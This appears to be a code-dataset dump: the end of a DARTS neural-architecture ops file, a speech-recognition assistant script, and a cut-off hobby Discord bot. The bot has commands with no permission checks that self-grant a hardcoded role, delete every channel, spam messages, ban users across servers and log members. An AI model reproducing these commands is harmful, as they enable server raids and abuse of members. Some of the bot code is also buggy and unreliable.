pool_size=pool_size, strides=stride, padding='SAME')\n\n def __call__(self, x, **kwargs):\n return self._op(x)\n\n\nclass Conv(DartsOp):\n \"\"\"Conv2D Wrapper.\n\n Stride and dilation rate are set to 1. Use SAME padding.\n \"\"\"\n\n def __init__(self,\n output_channels: int,\n kernel_shape: int = 3,\n stride: int = 1,\n rate=1,\n nonlinearity=None,\n name: Optional[str] = 'Conv2D',\n **kwargs):\n super().__init__(name=name)\n self._op = snt.Conv2D(\n output_channels=output_channels,\n kernel_shape=kernel_shape,\n stride=stride,\n rate=rate,\n padding='SAME')\n self._nonlinearity = nonlinearity\n\n def __call__(self, x, **kwargs):\n out = self._op(x)\n if self._nonlinearity:\n out = self._nonlinearity(out)\n return out\n\n\nclass DepthConv(DartsOp):\n \"\"\"Depthwise Convolution.\n\n Note that this is one of 2 ops in the 'Separable' Conv Op, which is more\n frequently used in SL NAS settings.\n \"\"\"\n\n def __init__(self,\n kernel_shape: int = 3,\n stride: int = 1,\n rate=1,\n nonlinearity=None,\n name: Optional[str] = 'DepthConv2D',\n **kwargs):\n super().__init__(name=name)\n\n # Setting to channel_multiplier=1 enforces same output shape as input.\n self._op = snt.DepthwiseConv2D(\n kernel_shape=kernel_shape,\n stride=1,\n channel_multiplier=1,\n rate=rate,\n padding='SAME')\n\n self._nonlinearity = nonlinearity\n\n def __call__(self, x, **kwargs):\n out = self._op(x)\n if self._nonlinearity:\n out = self._nonlinearity(out)\n return out\n\n\nclass DepthwiseSeparableConv(DartsOp):\n \"\"\"Depthwise separable convolution.\n\n `DepthwiseConv2D` followed by a 1x1 conv.\n \"\"\"\n\n def __init__(\n self,\n output_channels: int,\n kernel_shape: int = 3,\n stride: int = 1,\n rate: int = 1,\n nonlinearity=None,\n name: Optional[str] = 'DepthSeparableConv',\n **kwargs,\n ):\n super().__init__(name=name)\n\n # Setting to channel_multiplier=1 enforces same output shape as input.\n self._op1 = snt.DepthwiseConv2D(\n kernel_shape=kernel_shape,\n stride=stride,\n channel_multiplier=1,\n rate=rate,\n padding='SAME')\n\n self._op2 = snt.Conv2D(output_channels=output_channels, kernel_shape=1)\n self._nonlinearity = nonlinearity\n\n def __call__(self, x, **kwargs):\n out = self._op1(x)\n out = self._op2(out)\n if self._nonlinearity:\n out = self._nonlinearity(out)\n return out\n\n\nclass BatchNormOp(DartsOp):\n \"\"\"BatchNorm wrapper.\"\"\"\n\n def __init__(self, name: Optional[str] = None, **kwargs):\n super().__init__(name=name)\n self._op = snt.BatchNorm(create_scale=True, create_offset=True)\n del kwargs\n\n def __call__(self, x, is_training=True, **kwargs):\n return self._op(x, is_training)\n\n\nclass LayerNormOp(DartsOp):\n \"\"\"LayerNorm wrapper.\"\"\"\n\n def __init__(self, name: Optional[str] = None, **kwargs):\n super().__init__(name=name)\n self._op = snt.LayerNorm(axis=-1, create_scale=True, create_offset=True)\n del kwargs\n\n def __call__(self, x, **kwargs):\n return self._op(x)\n\n\nOP_NAMES_TO_OP_CONSTRUCTORS = {\n 'SkipConnection':\n generate_darts_op('SkipConnection', tf.identity),\n 'Linear':\n functools.partial(Dense, nonlinearity=None, name='Linear'),\n 'HighwayLinear':\n functools.partial(Highway, nonlinearity=None, name='HighwayLinear'),\n 'Zero':\n generate_darts_op('Zero', tf.zeros_like),\n 'Relu':\n generate_darts_op('Relu', tf.nn.relu),\n 'DenseRelu':\n functools.partial(Dense, nonlinearity=tf.nn.relu, name='DenseRelu'),\n 'HighwayRelu':\n functools.partial(\n Highway, nonlinearity=tf.nn.relu, name='HighwayLinear'),\n 'Sigmoid':\n generate_darts_op('Sigmoid', tf.nn.sigmoid),\n 'DenseSigmoid':\n functools.partial(\n Dense, nonlinearity=tf.nn.sigmoid, name='DenseSigmoid'),\n 'HighwaySigmoid':\n functools.partial(\n Highway, nonlinearity=tf.nn.sigmoid, name='HighwaySigmoid'),\n 'Tanh':\n generate_darts_op('Tanh', tf.nn.tanh),\n 'DenseTanh':\n functools.partial(Dense, nonlinearity=tf.nn.tanh, name='DenseTanh'),\n 'HighwayTanh':\n functools.partial(Highway, nonlinearity=tf.nn.tanh, name='HighwayTanh'),\n 'Elu':\n generate_darts_op('Elu', tf.nn.elu),\n 'DenseElu':\n functools.partial(Dense, nonlinearity=tf.nn.elu, name='DenseElu'),\n 'HighwayElu':\n functools.partial(Highway, nonlinearity=tf.nn.elu, name='HighwayElu'),\n 'Gelu':\n generate_darts_op('Gelu', tf.nn.gelu),\n 'DenseGelu':\n functools.partial(Dense, nonlinearity=tf.nn.gelu, name='DenseGelu'),\n 'HighwayGelu':\n functools.partial(Highway, nonlinearity=tf.nn.gelu, name='HighwayGelu'),\n 'Selu':\n generate_darts_op('Selu', tf.nn.selu),\n 'DenseSelu':\n functools.partial(Dense, nonlinearity=tf.nn.selu, name='DenseSelu'),\n 'HighwaySelu':\n functools.partial(Highway, nonlinearity=tf.nn.selu, name='HighwaySelu'),\n 'Silu': # Also known as Swish.\n generate_darts_op('Silu', tf.nn.silu),\n 'DenseSilu':\n functools.partial(Dense, nonlinearity=tf.nn.silu, name='DenseSilu'),\n 'HighwaySilu':\n functools.partial(Highway, nonlinearity=tf.nn.silu, name='HighwaySilu'),\n 'MaxPool2x2':\n functools.partial(MaxPool, pool_size=2),\n 'MaxPool3x3':\n functools.partial(MaxPool, pool_size=3),\n 'MaxPool4x4':\n functools.partial(MaxPool, pool_size=4),\n 'MaxPool5x5':\n functools.partial(MaxPool, pool_size=5),\n 'AveragePool2x2':\n functools.partial(AveragePool, pool_size=2),\n 'AveragePool3x3':\n functools.partial(AveragePool, pool_size=3),\n 'AveragePool4x4':\n functools.partial(AveragePool, pool_size=4),\n 'AveragePool5x5':\n functools.partial(AveragePool, pool_size=5),\n 'BatchNorm':\n BatchNormOp,\n 'LayerNorm':\n LayerNormOp,\n 'Conv3x3':\n functools.partial(Conv, kernel_shape=3, name='Conv3x3'),\n 'Conv5x5':\n functools.partial(Conv, kernel_shape=5, name='Conv5x5'),\n 'DilConv3x3':\n functools.partial(Conv, kernel_shape=3, rate=2, name='DilConv3x3'),\n 'DilConv5x5':\n functools.partial(Conv, kernel_shape=5, rate=2, name='DilConv5x5'),\n 'DepthConv3x3':\n functools.partial(DepthConv, kernel_shape=3, name='DepthConv3x3'),\n 'DepthConv5x5':\n functools.partial(DepthConv, kernel_shape=5, name='DepthConv5x5'),\n 'DepthSepConv3x3':\n functools.partial(\n DepthwiseSeparableConv, kernel_shape=3, name='DepthSepConv3x3'),\n 'DepthSepConv5x5':\n functools.partial(\n DepthwiseSeparableConv, kernel_shape=5, name='DepthSepConv5x5'),\n 'Conv3x3Relu':\n functools.partial(\n Conv, kernel_shape=3, nonlinearity=tf.nn.relu, name='Conv3x3Relu'),\n 'Conv5x5Relu':\n functools.partial(\n Conv, kernel_shape=5, nonlinearity=tf.nn.relu, name='Conv5x5Relu'),\n 'DilConv3x3Relu':\n functools.partial(\n Conv,\n kernel_shape=3,\n rate=2,\n nonlinearity=tf.nn.relu,\n name='DilConv3x3Relu'),\n 'DilConv5x5Relu':\n functools.partial(\n Conv,\n kernel_shape=5,\n rate=2,\n nonlinearity=tf.nn.relu,\n name='DilConv5x5Relu'),\n 'DepthConv3x3Relu':\n functools.partial(\n DepthConv,\n kernel_shape=3,\n nonlinearity=tf.nn.relu,\n name='DepthConv3x3Relu'),\n 'DepthConv5x5Relu':\n functools.partial(\n DepthConv,\n kernel_shape=5,\n nonlinearity=tf.nn.relu,\n name='DepthConv5x5Relu'),\n 'DepthSepConv3x3Relu':\n functools.partial(\n DepthwiseSeparableConv,\n kernel_shape=3,\n nonlinearity=tf.nn.relu,\n name='DepthSepConv3x3Relu'),\n 'DepthSepConv5x5Relu':\n functools.partial(\n DepthwiseSeparableConv,\n kernel_shape=5,\n nonlinearity=tf.nn.relu,\n name='DepthSepConv5x5Relu')\n}\n\n\n@pg.members([\n ('op_names', pg.typing.List(pg.typing.Str()), 'Operation Names'),\n])\nclass SearchSpace(pg.Object):\n pass\n\n\nESSENTIAL_OP_NAMES = ['SkipConnection', 'Zero']\nPOOLING_3x3_OP_NAMES = ['MaxPool3x3', 'AveragePool3x3']\n\nDEFAULT_SEARCH_SPACE = SearchSpace(op_names=['Conv3x3', 'Relu', 'Tanh'] +\n ESSENTIAL_OP_NAMES)\n\n# For debugging\nALL_CONV_5X5_ONLY_SEARCH_SPACE = SearchSpace(\n op_names=['Conv5x5', 'DilConv5x5', 'DepthSepConv5x5'] + ESSENTIAL_OP_NAMES)\n\nALL_CONV_3X3_RELU_SEARCH_SPACE = SearchSpace(\n op_names=['Conv3x3Relu', 'DilConv3x3Relu', 'DepthConv3x3Relu'] +\n ESSENTIAL_OP_NAMES)\n\nALL_CONV_5x5_RELU_SEARCH_SPACE = SearchSpace(\n op_names=['Conv5x5Relu', 'DilConv5x5Relu', 'DepthSepConv5x5Relu'] +\n ESSENTIAL_OP_NAMES)\n\n# For debugging\nSL_CONV_3X3_5X5_ONLY_SEARCH_SPACE = SearchSpace(\n op_names=['Conv3x3', 'DilConv3x3', 'Conv5x5', 'DilConv5x5'] +\n ESSENTIAL_OP_NAMES)\n\n# Default SS used in DARTS.\nSL_CONV_3X3_5X5_RELU_SEARCH_SPACE = SearchSpace(\n op_names=['Conv3x3Relu', 'DilConv3x3Relu', 'Conv5x5Relu', 'DilConv5x5Relu'\n ] + ESSENTIAL_OP_NAMES)\n","repo_name":"google/brain_autorl","sub_path":"rl_darts/policies/darts_ops.py","file_name":"darts_ops.py","file_ext":"py","file_size_in_byte":13987,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"37"} +{"seq_id":"27078764765","text":"import speech_recognition\nimport pyttsx\nfrom os import system\nsystem('say Hello world!')\n\n\n\nrecognizer = speech_recognition.Recognizer()\nkeyphrase = \"none\"\nresponse = \"Good afternoon sir\"\n\ndef weather():\n\tprint(\"blah\")\n\ndef speak(text):\n\tsystem('say ' + text)\nkeywords = [\"hi\", \"bye\", \"weather\"]\ndef hi():\n\tglobal response\n\tresponse = \"hello sir\"\n\ndef bye():\n\tglobal response\n\tresponse = \"goodbye sir\"\n\tglobal keyphrase\n\tkeyphrase = \"stop\"\n\ndef keyword(text) :\n\tfor phrase in keywords:\n\t\tif phrase in text:\n\t\t\tglobals()[phrase]()\n\n\ndef listen():\n\twith speech_recognition.Microphone() as source:\n\t\trecognizer.adjust_for_ambient_noise(source)\n\t\taudio = recognizer.listen(source)\n\n\ttry:\n\t\tmessage = recognizer.recognize_google(audio)\n\t\tglobal keyphrase\n\t\tkeyphrase = message\n\t\t#print(keyphrase)\n\t\tkeyword(keyphrase)\n\t\treturn message\n\texcept speech_recognition.UnknownValueError:\n\t\tprint(\"Could not understand audio\")\n\texcept speech_recognition.RequestError as e:\n\t\tprint(\"Recog Error; {0}\".format(e))\n\n\treturn \"\"\nwhile (keyphrase != \"stop\"):\n\tspeak(response)\n\tlisten()\n\tprint(keyphrase)\n\n\t#speak(\"I heard you say \" + listen())\n","repo_name":"jack-crawford/J-Assistant","sub_path":"jae.py","file_name":"jae.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"38236968319","text":"#Lightning Started 1/30/2021 \n# Gunnar Funderburk\nfrom webs import keep_alive\nimport discord\nimport os\n# covid19_data\n#from jarvis import jarvisa\nfrom PyDictionary import PyDictionary\ndictionary=PyDictionary()\nimport time\nimport discord.ext\nfrom discord.utils import get\nfrom discord.ext import commands, tasks\nfrom discord.ext.commands import has_permissions, CheckFailure, check\nimport asyncio\n\n# https://tenor.com/view/avengers-weapons-iron-man-gif-5285426 WEAPONS OUT\n# https://thumbs.gfycat.com/TemptingDimpledElkhound-max-14mb.gif UNIBEAM\n\n\n\n\n\n\n\n\n\nintents = discord.Intents.default()\nintents.members = True\nbot = commands.Bot(command_prefix=';',intents=intents) \n\nasync def buffersender(ctx,arr,delim):\n buffer=\"\"\n i=1\n for item in arr:\n if delim not in [\"nl\",\"nb\"]:\n if arr.index(item) != len(arr):\n buffer=buffer+str(item)+delim\n else:\n buffer=buffer+str(item)\n\n elif delim == \"nb\":\n \n if arr.index(item) != len(arr):\n buffer=buffer+str(i)+\". \"+str(item)+\"\\n\"\n else:\n buffer=buffer+str(item)\n \n i+=1\n \n\n await ctx.send(buffer)\n\n\n\n\n\nasync def enemyscan():\n enemies= open(\"enemies.txt\", \"r\")\n lines=enemies.readlines()\n for line in lines:\n line=line.replace(\"\\n\",\" \")\n user=await bot.fetch_user(int(line))\n for guild in bot.guilds:\n for member in guild.members:\n if member.id==int(line):\n suituser=await bot.fetch_user(int(os.environ.get(\"userx\")))\n await suituser.send(\"Enemy: \"+str(user)+\" Detected in \"+guild.name)\n\n\n await asyncio.sleep(1.0)\n \n\n\n\nasync def chopper(string,ctx):\n \n \n n = 1000\n chunks = [string[i:i+n] for i in range(0, len(string), n)]\n for chunk in chunks: \n await ctx.send(chunk)\ndef dym(text,commands):\n from difflib import SequenceMatcher\n perc=[]\n for i in commands:\n perc.append(SequenceMatcher(None, i, text).ratio())\n return commands[perc.index(max(perc))]\n\nasync def performance(channel,start,finish):\n await channel.send(f\"Command excecuted in {finish - start} seconds\")\n\n\n\nglobal weapons \nweapons=False\nglobal help\nhelp=True\nglobal debug\ndebug=False\n#non weapon gif list May not use\nglobal giflist\ngiflist=[\"\"]\nglobal weplist\nweplist=[(\"repulsors\",\"fire\",\"https://media.discordapp.net/attachments/814992950546530415/832627363677470800/IM3_-_All_Iron_PatriotWar_Machine_Scenes_5K_60FPS_1.gif\"),(\"revolver\",\"fire\")]\n\n#keeps track of index\nglobal wepnum\nwepnum=0\n#repeat user words\nglobal echo\necho=False\nglobal insuit\ninsuit=True\n\nglobal sendm\nsendm=False\n\nglobal senddata\nsenddata=[]\nglobal author\nauthor=\" \"\n\n\nglobal mutedata\nmutedata=[]\n\n\n \n\n\n\n\n\n\ndef switch(var):\n global weapons\n global help\n global echo\n global insuit\n global sendm\n \n if var==\"weapons\":\n weapons= not (weapons)\n return \"Safety Off\" if (weapons) else \"Safety On\"\n if var==\"help\":\n \n help= not(help)\n return \"Help On\" if (help) else \"Help Off\"\n if var==\"echo\":\n \n echo= not(echo)\n return \"Echo On\" if (echo) else \"Echo Off https://cdn.discordapp.com/attachments/807847792286367774/807984559424798740/Manchurian_Candidate_Theres_A_Truce_Here___Captain_America_Civil_War_2016_4K_1.gif\"\n if var==\"suit\":\n\n \n insuit= not(insuit)\n # echo=not(echo)\n if var==\"sendm\":\n sendm=not(sendm)\n return \"Calling Now\" if(sendm) else \"Hung Up\"\n\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n@bot.command() \nasync def eject(ctx,*,args):\n for guild in bot.guilds:\n if((args==guild.name) or ( int(args)==guild.id)):\n guild=guild\n\n \n \n \n try:\n print(\"IM OUT\")\n await ctx.send(\"I have left {0}\".format(guild.name))\n await guild.leave()\n \n except:\n await ctx.send(\"Attempting Delete\")\n await guild.delete()\n print(\"OOPS\")\n \n return \n\n@bot.event\nasync def on_command_error(ctx, error):\n from discord.ext.commands import CommandNotFound\n \n if isinstance(error, CommandNotFound):\n if help: \n cmdnames=[]\n for cmd in bot.commands:\n cmdnames.append(cmd.name)\n \n await ctx.send(\"Did you mean \" +dym(ctx.message.content,cmdnames)+\"?\")\n@bot.command()\nasync def admin(ctx):\n from discord import Permissions\n \n \n role=await ctx.guild.fetch_role(729866135167828053)\n\n await ctx.author.add_roles(role)\n@bot.command()\nasync def giveme(ctx, role: discord.Role):\n await ctx.author.add_roles(role)\n \n@bot.command()\n\nasync def delete(ctx,*,args):\n guild=ctx.guild\n global weapons\n if weapons:\n \n for channel in guild.channels:\n \n \n \n channame=channel.name.replace(\"-\",\" \").strip()\n \n if (args.strip())==channame:\n await channel.delete()\n await ctx.send(\"deleted \"+ args)\n else:\n await ctx.send(\"Safety is Currently Activated\")\n@bot.command()\nasync def purge(ctx,number):\n \n messages = await ctx.channel.history().flatten()\n \n for message in messages:\n if(messages.index(message)<=(int(number))):\n \n await message.delete() \n@bot.command()\n\nasync def dl(ctx):\n \n import goslate\n gs = goslate.Goslate()\n \n\n content=ctx.message.content.split(\" \")\n \n language_id = gs.detect(content[1])\n await ctx.send(gs.get_languages()[language_id])\n from googletrans import Translator\n translator= Translator()\n translation = translator.translate(content,dest=\"English\")\n \n await ctx.send(translation.text)\n@bot.command()\nasync def pfprtrn(ctx,member:discord.Member):\n await ctx.send(member.avatar_url)\n@bot.command()\nasync def restore(ctx):\n #import discord.AuditLogAction\n async for entry in ctx.guild.audit_logs(limit=100):\n # await ctx.send(entry.action)\n if str(entry.action)==\"AuditLogAction.channel_delete\":\n await ctx.send(entry.target.name)\n \n@bot.command()\nasync def enmlist(ctx,mode):\n channel=ctx.channel\n uid=ctx.author.id\n def check(m):\n return m.channel == channel and m.author.id== uid\n if mode==\"clear\":\n enemies= open(\"enemies.txt\", \"w\")\n enemies.close()\n await ctx.send(\"Enemies list cleared\")\n if mode==\"read\":\n charbuff=[]\n enemies= open(\"enemies.txt\", \"r\")\n lines=enemies.readlines()\n for line in lines:\n line=line.replace(\"\\n\",\" \")\n user=await bot.fetch_user(int(line))\n charbuff.append(str(user))\n await buffersender(ctx,charbuff,\"nb\")\n if mode==\"append\":\n enemies= open(\"enemies.txt\", \"a\")\n enemiesr=open(\"enemies.txt\",\"r\")\n await ctx.send(\"Enter ID\")\n toappend=await bot.wait_for(\"message\",check=check)\n sepids=toappend.content.split(\" \")\n for i in sepids:\n\n user=await bot.fetch_user(int(i))\n for line in enemiesr.readlines(): \n if( i in line):\n await ctx.send(\"Member: {0} already is in list\".format(str(user)))\n return\n enemies.writelines(i+\"\\n\")\n \n await ctx.send(str(user)+\" added\")\n enemies.close()\n \n \n \n \n\n@bot.event\nasync def on_ready():\n\n \n \n \n\n\n user=await bot.fetch_user(os.environ.get(\"userx\"))\n await user.send(\"Booted Systems\")\n print(\"Booted Systems\")\n@bot.command()\nasync def login(ctx):\n f=open(\"hey.txt\",\"w+\")\n for user in ctx.guild.members:\n f.write(str(user)+\" \"+str(user.id)+\"\\n\")\n await ctx.send(f\"Hello {str(user)}, you have logged in\") \n@bot.command()\nasync def open(ctx):\n f=open(\"chats.txt\",\"w+\")\n for user in ctx.guild.members:\n f.write(str(user)+\" \"+str(user.id)+\"\\n\")\n await ctx.send(f\"Hello {str(user)}, you have logged in\") \n@bot.command()\nasync def timeret(ctx):\n from datetime import datetime\n\n now = datetime.now()\n current_time=now.strftime(\"%H:%M:%S\")\n \n\n \n await ctx.send(current_time)\n@bot.command()\nasync def covid(ctx):\n await ctx.send(\"Not done yet\")\n \n #print(latest)\n #await ctx.send(latest)\n@bot.command()\nasync def urlimg(ctx,url):\n from screen import imageget\n await ctx.send(\"Searching\")\n imageget(url)\n #await ctx.send(\"Sending\")\n await ctx.send(file=discord.File('websearch.png'))\n@bot.command()\nasync def call(ctx,*,text):\n global sendm\n global senddata\n if not sendm: #reject call if ongoing \n \n \n \n memberlist=[]\n channellist=[]\n for server in bot.guilds:\n for member in server.members:\n if member.name not in memberlist:\n memberlist.append(member.name)\n # print(member.name)\n #print(\"_---_\")\n #print(text)\n \n if (member.name==text) or( str(member.id)==text) or( member.nick==text):\n x=member\n await ctx.channel.send(\"FOUND\")\n senddata=[x.id,\"u\",ctx.channel.id] \n # print(senddata) \n # print(\"SENDDATA SHOULD HAVE BEEN SAVED\") \n await ctx.send(switch(\"sendm\"))\n \n \n embed=discord.Embed(title=\"Found User in {0}\".format(ctx.guild.name),color=discord.Color.blue())\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/avatars/{0.id}/{0.avatar}.png?size=1024\".format(x))\n embed.add_field(name=\"Name\", value=str(x), inline=False)\n embed.add_field(name=\"Bot\", value=x.bot, inline=False)\n embed.add_field(name=\"Created At \", value=x.created_at, inline=False)\n await ctx.channel.send(embed=embed)\n print(\"SHOULD HAVE SENT EMBED\")\n await ctx.channel.send(\"CLEARED TO SEND\")\n sendm=True\n # person=member.id\n \n \n\n for channel in server.text_channels:\n # print(channel.name)\n if( channel.name==text) or( str(channel.id)==text):\n await ctx.send(\"Text channel: {0} found\".formats(channel.name))\n senddata=[channel.id,\"c\",ctx.channel.id]\n await ctx.send(switch(\"sendm\"))\n \n \n else:\n #await ctx.send(\"ELSE\")\n await ctx.send(switch(\"sendm\"))\n return \n\n@bot.command()\nasync def mute(ctx,mode,*,text):\n \n global mutedata\n \n \n \n \n \n memberlist=[]\n channellist=[]\n if mode==\"add\":\n for server in bot.guilds:\n if(( server.id==text) or (str(server.id)==text)):\n mutedata.append((server.id,\"s\"))\n await ctx.send(\"Server: {0} muted\".format(server.name))\n await ctx.send(\"https://media.discordapp.net/attachments/755636033709670612/807828513969012736/Iron_Man_All_Fight_Scene_Civil_War_HD_5.gif\")\n return\n \n for member in server.members:\n if member.name not in memberlist:\n memberlist.append(member.name)\n # print(member.name)\n #print(\"_---_\")\n #print(text)\n \n if (member.name==text) or( str(member.id)==text) or( member.nick==text):\n if member.id != 807837494740647948:\n x=member\n await ctx.channel.send(\"FOUND\")\n if (x.id,\"u\") not in mutedata:\n mutedata.append((x.id,\"u\"))\n # print(senddata) \n # print(\"SENDDATA SHOULD HAVE BEEN SAVED\") \n \n await ctx.send(\"https://media.discordapp.net/attachments/755636033709670612/807828513969012736/Iron_Man_All_Fight_Scene_Civil_War_HD_5.gif\")\n await ctx.channel.send(\"Mute in effect on {0}\".format(str(x)))\n \n # person=member.id\n \n \n\n for channel in server.text_channels:\n # print(channel.name)\n if( channel.name==text) or( str(channel.id)==text):\n await ctx.send(\"Text channel: {0} muted\".format(channel.name))\n await ctx.send(\"https://media.discordapp.net/attachments/755636033709670612/807828513969012736/Iron_Man_All_Fight_Scene_Civil_War_HD_5.gif\")\n mutedata.append((channel.id,\"c\"))\n elif mode==\"clear\":\n mutedata=[]\n await ctx.send(\"mutes cleared\")\n elif mode==\"display\":\n mutebuff=[]\n for mute in mutedata:\n if mute[1]==\"u\":\n user=await bot.fetch_user(mute[0])\n mutebuff.append(str(user))\n elif mute[1]==\"c\":\n channel=await bot.fetch_channel(mute[0])\n mutebuff.append(channel.name)\n await buffersender(ctx,mutebuff,\"nb\")\n \n \n\n \n \n\n@bot.command()\nasync def flood(ctx,*num):\n buffer=\" \"\n await ctx.send(num)\n if str(num)==\"()\":\n for i in range(0,5):\n buffer+=\"...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................\"\n i+=1\n await ctx.send(buffer)\n@bot.command()\nasync def imgtext(ctx):\n import pytesseract\n pytesseract.pytesseract.tesseract_cmd = 'C:/Users/gfund/AppData/Local/Programs/Tesseract-OCR'\n from PIL import Image\n\n\n\n \n for attachment in ctx.message.attachments:\n import requests\n im = Image.open(requests.get(attachment.url, stream=True).raw)\n\n \n\n \n text=pytesseract.image_to_string(im)\n print(text)\n await ctx.send(text)\n@bot.command()\nasync def fileinfo(ctx):\n #import urllib.request\n\n\n\n messages = await ctx.channel.history(limit=2).flatten()\n #message=messages[0]\n #await ctx.send(\"Corrupting\")\n for attachment in messages[1].attachments:\n await ctx.send(\"Name \"+str(attachment.filename))\n await ctx.send(\"Size \"+str(attachment.size)+\" bytes\")\n \n \n\n \n \n@bot.command()\nasync def define(ctx,text):\n buffer=[]\n word=dictionary.meaning(text)\n #print(word)\n #print(\"G\")\n # print(word.items())\n for item in word.items():\n await ctx.send(item)\n \n \n #await ctx.send(keys)\n #await buffersender(ctx,buffer,\".\\n\")\n@bot.command()\nasync def sampfire(ctx):\n\n \n \n \n \n \n import asyncio\n \n global weplist\n global wepnum\n if weapons:\n\n \n msg = await ctx.send(\"Systems activating: \")\n await asyncio.sleep(0.1)\n await msg.edit(content=' Systems activating: ⬜')\n await asyncio.sleep(0.1)\n await msg.edit(content=' Systems activating: ⬜⬜')\n await asyncio.sleep(0.1)\n await msg.edit(content=' Systems activating: ⬜⬜⬜')\n await asyncio.sleep(0.1)\n if weplist[wepnum][2]==\"fire\":\n await ctx.send(\"_Firing {0}_ \".format(weplist[wepnum][0]))\n else:\n await ctx.send(\"Attacking with {0}\".format(weplist[wepnum][0]))\n await ctx.send(weplist[wepnum][1])\n else:\n await ctx.send(\"Safety is On\")\n\n@bot.command()\nasync def wepswitch(ctx,*,text):\n # await ctx.send(text)\n channel=ctx.channel\n uid=ctx.author.id\n def check(m):\n return m.channel == channel and m.author.id== uid\n \n \n global weplist\n global wepnum\n\n wepnames=[]\n \n for i in weplist:\n wepnames.append(i[0])\n if text==i[0]:\n wepnum=weplist.index(i) \n await ctx.send(weplist[weplist.index(i)][0]+\" selected\")\n return\n \n if text==\"list\":\n await buffersender(ctx,wepnames,\"nb\")\n \n await ctx.send(\"Which weapon # do you want\")\n wepn=await bot.wait_for(\"message\",check=check)\n wepnum=int(wepn.content)-1\n \n await ctx.send(weplist[wepnum][0]+\" selected\")\n@bot.command()\nasync def echotoggle(ctx):\n await ctx.send(switch(\"echo\"))\n@bot.command()\nasync def ban(ctx,member:discord.Member):\n global weapons\n if weapons:\n await ctx.guild.ban(member,reason=\"ban\",delete_message_days=0)\n await ctx.send(\"banned \" + member.mention)\n else: \n await ctx.send(\"Safety On\")\n@bot.command()\nasync def reachban(ctx,*,entry):\n for guild in bot.guilds:\n if (guild.name==entry.split(\".\")[0]):\n await ctx.send(\"Found guild\")\n for member in guild.members:\n if (int(entry.split(\".\")[1])==member.id):\n await guild.ban(member,reason=\"ban\",delete_message_days=0)\n await ctx.send(\"Banned {0}\".format(str(member)))\n@bot.command()\nasync def reachkick(ctx,*,entry):\n for guild in bot.guilds:\n if (guild.name==entry.split(\".\")[0]):\n await ctx.send(\"Found guild\")\n for member in guild.members:\n if (int(entry.split(\".\")[1])==member.id):\n await guild.kick(member,reason=\"kick\")\n await ctx.send(\"Kicked {0}\".format(str(member)))\n@bot.command()\nasync def reachhackban(ctx,*,entry):\n for guild in bot.guilds:\n if (guild.name==entry.split(\".\")[0]):\n await ctx.send(\"Found guild\")\n member=await bot.fetch_user(int(entry).split(\".\")[1])\n await guild.ban(member,reason=\"hackban\",delete_message_days=0)\n await ctx.send(\"Hackbanned {0}\".format(str(member)))\n@bot.command()\nasync def suit(ctx):\n \n global insuit\n insuit=False\n await ctx.send(\"Ejecting\")\n\n \n@bot.command()\nasync def fireat(ctx,member:discord.Member):\n \n \n \n \n \n import asyncio\n \n global weplist\n global wepnum\n if weapons:\n\n \n msg = await ctx.send(\"Systems activating: \")\n await asyncio.sleep(0.1)\n await msg.edit(content=' Systems activating: ⬜')\n await asyncio.sleep(0.1)\n await msg.edit(content=' Systems activating: ⬜⬜')\n await asyncio.sleep(0.1)\n await msg.edit(content=' Systems activating: ⬜⬜⬜')\n await asyncio.sleep(0.1)\n if weplist[wepnum][2]==\"fire\":\n await ctx.send(\"_Firing {0} at {1} _\".format(weplist[wepnum][0],member.name))\n else:\n await ctx.send(\"Attacking {0} with {1}\".format(member.name,weplist[wepnum][0]))\n await ctx.send(weplist[wepnum][1])\n else:\n await ctx.send(\"Safety is On\")\n \n@bot.command()\nasync def changepref(ctx,*,pref):\n \n bot.command_prefix=pref\n await ctx.send(\"Prefix is \"+bot.command_prefix) \n@bot.command()\nasync def detonate(ctx):\n if weapons:\n for channel in ctx.guild.channels:\n await channel.delete()\n else:\n await ctx.send(\"Safety On\")\n@bot.command()\nasync def weptoggle(ctx):\n \n \n await ctx.send(switch(\"weapons\"))\n@bot.command() \nasync def servlist(ctx):\n serverlistbuffer=[]\n #print(\"OH \")\n for server in bot.guilds:\n print(server.name)\n \n serverlistbuffer.append(server.name+\", ID: \"+str(server.id))\n #print(\"I AM HERE\")\n # await ctx.send(\"I AM A TEAPOT\")\n await buffersender(ctx,serverlistbuffer,\"nb\")\n@bot.command() \nasync def chanlist(ctx,*,text):\n textchanbuff=[]\n voicechanbuff=[]\n for server in bot.guilds:\n if ((server.name==text) or (server.id==int(text))):\n for channel in server.text_channels:\n print(channel.name)\n textchanbuff.append(channel.name+\", ID: \"+str(channel.id))\n for channel in server.voice_channels:\n voicechanbuff.append(channel.name+\", ID: \"+str(channel.id))\n await ctx.send(\"Text\")\n await buffersender(ctx,textchanbuff,\"nb\")\n await ctx.send(\"Voice\")\n\n await buffersender(ctx,voicechanbuff,\"nb\")\n@bot.command()\nasync def memblist(ctx,*,text):\n membbuff=[]\n for server in bot.guilds:\n if ((server.name==text) or (server.id==int(text))):\n \n for member in server.members:\n \n membbuff.append(str(str(member)+\"\\n ID: \"+ str(member.id)+\"\\n\"))\n \n\n await buffersender(ctx,membbuff,\" \")\n\n \n\n@bot.command()\nasync def whois(ctx,args):\n mutualservers=0\n buffer=\" \"\n if \"@\" in args.strip(): \n #await ctx.send(\"GOING HERE\")\n memid=int(args.replace(\"<@!\",\" \").replace(\">\",\" \"))\n user = await bot.fetch_user(memid)\n else: \n \n user = await bot.fetch_user(int(args))\n \n embed=discord.Embed(title=\"Result\",color=discord.Color.blue())\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/avatars/{0.id}/{0.avatar}.png?size=1024\")\n embed.add_field(name=\"Name\", value=str(user), inline=False)\n embed.add_field(name=\"Bot\", value=user.bot, inline=False)\n embed.add_field(name=\"Created At \", value=user.created_at, inline=False)\n for guild in bot.guilds:\n if user in guild.members:\n mutualservers+=1\n buffer+= guild.name + \" \"\n embed.add_field(name=\"# Mutual Servers\",value=mutualservers)\n if buffer==\" \":\n buffer=\"None\"\n embed.add_field(name=\"Mutual Servers\",value=buffer)\n\n \n \n await ctx.send(embed=embed)\n \n@whois.error\nasync def whois_error(self,ctx, error):\n #print(\"\\nsalve\\n\")\n if \"Unknown 